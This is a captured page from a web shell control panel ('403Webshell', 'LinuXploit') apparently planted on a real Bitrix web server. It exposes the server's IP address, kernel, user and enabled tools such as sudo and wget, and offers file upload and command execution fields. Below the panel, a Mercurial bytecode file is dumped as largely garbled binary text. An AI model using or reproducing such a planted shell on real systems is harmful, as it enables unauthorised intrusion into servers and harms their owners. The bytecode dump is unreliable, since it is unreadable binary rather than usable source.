403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /usr/lib64/python3.9/site-packages/mercurial/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /usr/lib64/python3.9/site-packages/mercurial/__pycache__/server.cpython-39.pyc
a

�+�b0�@s�ddlmZddlZddlmZddlmZddlmZm	Z	m
Z
mZmZmZm
Z
ddlmZmZdd	d
�Zeje
je
jd�Zdd
�Zdd�Zdd�ZdS)�)�absolute_importN�)�_)�open)�	chgserver�cmdutil�
commandserver�error�hgweb�pycompat�util)�procutil�urlutilFc	s�i}�drl�dD]V}|�d�r4|dd�|d<q|�d�rP|dd�|d<q|d	krt�td
�|��qtj�r�d�rd|v�rtj�|d��rt	j
��t	j��t�
|dtjtjBtjB�}	z2t�|	t	j
���t�|	t	j���Wt�|	�nt�|	�0��fdd�}
�d
�r��d�s�tjdd�\}�t�|��z$|�sht	��tjdd�}|�d��t�dt|��D]H}||�d��r�||=�q�n$||�d��r�|||d�=�qАq��fdd�}
t	�||
�}|dk�rZtj�rLtj����rLt
�d��(}|D]}t	j�|��qWd�n1�sB0Yt�td���|
|�Wt���nt���0|�r�||�SdS|�r�|��d
�s�|
t	����d�r�zt��Wnt �y�Yn0d|v�r�t�!|d�t	�"�t	j
��t	j��t�
tj#tj$�}|}|�rFt�
|tj$tj%BtjBd�}t�|t	j&���t�|t	j
���t�|t	j���t	j&��t	j
��t	j��f}||v�r�t�|�|�r�||v�r�t�|�d|v�r�t�'|d�|�r�|�SdS)zRun a command as a service.sdaemon_postexecsunlink:�Nsunlinkschdir:�schdirsnones'invalid value for --daemon-postexec: %scs>�dr:�rd}nd}t�d|�}|�d|�|��dS)Nspid_filesabswbs%d
)r�write�close)�pid�mode�fp)�	appendpid�opts��6/usr/lib64/python3.9/site-packages/mercurial/server.py�writepidLszrunservice.<locals>.writepidsdaemonshg-service-)�prefixrs--daemon-postexec=unlink:%ss--cwd=s--cwd�cstj���S)N)�os�path�existsr)�lockpathrr�condfnhszrunservice.<locals>.condfnrsrbschild process failed to starti�)(�
startswithr	�AbortrrZ	iswindowsrrrr
�stdout�flush�stderrr�O_WRONLY�O_APPENDZO_BINARY�dup2�filenorZmkstempZhgcmdZsysargv�appendZxrange�lenZrundetachedrrZ	tryunlink�getpid�setsid�AttributeError�chdirZ
hidewindow�devnull�O_RDWR�O_CREAT�stdin�unlink)rZparentfnZinitfnZrunfnZlogfileZrunargsrZpostexecargs�inst�fdrZlockfd�ir!r�log�lineZnullfdZ	logfilefdZstdior)rr rr�
runservices�


�	�

�



0





��



r;)schgunixspipesunixcCsR|d}zt|}Wn$ty8t�td�|��Yn0t�||�||||�S)N�	cmdserversunknown mode %s)�_cmdservicemap�KeyErrorr	r#rrZsetuplogging)�ui�reporrZ	servicefnrrr�_createcmdservice�srAcCs$|�d�rt�|�d��|d<|h}|rB|j}|�|j|jg�n|}|�d�pX|�d�}|r�|�d�rvt�td���|�	�}|j
|dgd�|�|�n,|�d�r�|}|r�t�}t
�|d|�n|}d	}|��D]4}|�|d�}	|	d
vr�q�|D]}
|
�d||	d�q�q�t�|||�}t�|||�S)Nsportsweb_confswebdir_confssubreposs)--web-conf cannot be used with --subrepossweb)Zsections�sUname templates style address port prefix ipv6 accesslog errorlog certificate encoding)NrBsserve)�getrZgetport�baseui�updater?r	r#r�copyZ
readconfig�add�dictrZ
addwebdirpath�splitZ	setconfigr
Z	createappZhttpservice)r?r@rZalluisrDZwebconfZservuiZoptlist�o�val�uZapprrr�_createhgwebservice�s<


�rMcCs$|drt|||�St|||�SdS)Nr<)rArM)r?r@rrrr�
createservice�srN)NNNNNF)Z
__future__rrZi18nrrr�rrrr	r
rZutilsr
rr;ZchgunixserviceZpipeserviceZunixforkingservicer=rArMrNrrrr�<module>s($
�

�
/

Youez - 2016 - github.com/yon3zu
LinuXploit